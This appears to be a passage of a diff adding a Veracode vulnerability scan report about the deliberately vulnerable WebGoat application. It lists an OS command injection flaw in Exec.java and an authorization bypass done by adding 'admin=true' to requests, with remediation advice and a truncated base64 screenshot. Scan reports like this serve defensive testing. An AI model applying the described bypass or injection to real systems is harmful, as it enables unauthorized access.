+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Runtime.exec\" description=\"This
+        call to java.lang.Runtime.exec() contains a command injection flaw. The argument
+        to the function is constructed using user-supplied input. If an attacker is
+        allowed to specify all or part of the command, it may be possible to execute
+        commands on the server with the privileges of the executing process. The level
+        of exposure depends on the effectiveness of input validation routines, if
+        any. exec() was called on the getRuntime() object, which contains tainted
+        data. The tainted data originated from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters. Most APIs that
+        execute system commands also have a &quot;safe&quot; version of the method
+        that takes an array of strings as input rather than a single string, which
+        protects against some forms of command injection.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/78.html) \r\nOWASP (http://www.owasp.org/index.php/Command_Injection)
+        \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\" note=\"\"
+        cweid=\"78\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"18\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Exec.java\"
+        line=\"292\" sourcefilepath=\"org/owasp/webgoat/util/\" scope=\"org.owasp.webgoat.util.Exec\"
+        functionprototype=\"ExecResults execOptions(java.lang.String, java.lang.String,
+        int, int, byte)\" functionrelativelocation=\"9\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n<dynamicflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" count=\"1\" issueid=\"276\"
+        module=\"dynamic_analysis\" type=\"Improper Neutralization of Special Elements
+        used in an OS Command ('OS Command Injection')\" description=\"This call contains
+        a command injection flaw. The argument to the function is constructed using
+        user-supplied input. If an attacker is allowed to specify all or part of the
+        command, it may be possible to execute commands on the server with the privileges
+        of the executing process. The level of exposure depends on the effectiveness
+        of input validation routines, if any.\r\n\r\nValidate all user-supplied input
+        to ensure that it conforms to the expected format, using centralized data
+        validation routines when possible. When using black lists, be sure that the
+        sanitizing routine performs a sufficient number of iterations to remove all
+        instances of disallowed characters. Most APIs the execute system commands
+        also have a &quot;safe&quot; version of the method that takes an array of
+        strings as input rather than a single string, which protects against some
+        forms of command injection.\r\n\r\n\r\nCWE (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=78)
+        \r\nOWASP (http://www.owasp.org/index.php/Command_Injection) \r\nWASC (http://webappsec.pbworks.com/OS-Commanding)\r\n\r\n\"
+        note=\"\" cweid=\"78\" remediationeffort=\"3\" categoryid=\"18\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ccp\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"
+        vuln_parameter=\"File\"/>\n</dynamicflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"-1\" categoryname=\"Other\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"These flaws do not fit into one of Veracode's existing categories.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Please see individual flaw descriptions for remediation guidance.\"/>\n</recommendations>\n<cwe
+        cweid=\"807\" cwename=\"Reliance on Untrusted Inputs in a Security Decision\"
+        pcirelated=\"false\" sans=\"866\" certcpp=\"878\" certjava=\"859\">\n<description>\n<text
+        text=\"The application uses a protection mechanism that relies on the existence
+        or values of an input, but the input can be modified by an untrusted actor
+        in a way that bypasses the protection mechanism.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Reliance on Untrusted Inputs in a Security Decision\"
+        count=\"1\" issueid=\"271\" module=\"manual_analysis\" type=\"\" description=\"The
+        application uses a protection mechanism that relies on the existence of an
+        input, but the input can be modified by an untrusted actor in a way that bypasses
+        the protection mechanism. By adding the parameter 'admin' with a value of
+        'true' the administrative interface of the application is accessible to a
+        non-administrative user.\" note=\"\" cweid=\"807\" remediationeffort=\"3\"
+        exploitLevel=\"2\" categoryid=\"-1\" pcirelated=\"false\" date_first_occurrence=\"2012-02-29
+        16:13:33 UTC\" remediation_status=\"New\" cia_impact=\"\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack\"
+        cvss=\"9\" capecid=\"4\" exploitdifficulty=\"1\" inputvector=\"admin\">\n<exploit_desc>An
+        attacker can set this parameter easily within their web-browser. Links to
+        the administrative interface will then be displayed. </exploit_desc>\n<severity_desc>Attackers
+        can bypass the security decision to access whatever is being protected. The
+        consequences will depend on the associated functionality, but they can range
+        from granting additional privileges to untrusted users to bypassing important
+        security checks. Ultimately, this weakness may lead to exposure or modification
+        of sensitive data, system crash, or execution of arbitrary code.</severity_desc>\n<remediation_desc>Identify
+        all inputs that are used for security decisions and determine if you can modify
+        the design so that you do not have to rely on submitted inputs at all. For
+        example, you may be able to keep critical information about the user's session
+        on the server side instead of recording it within external data.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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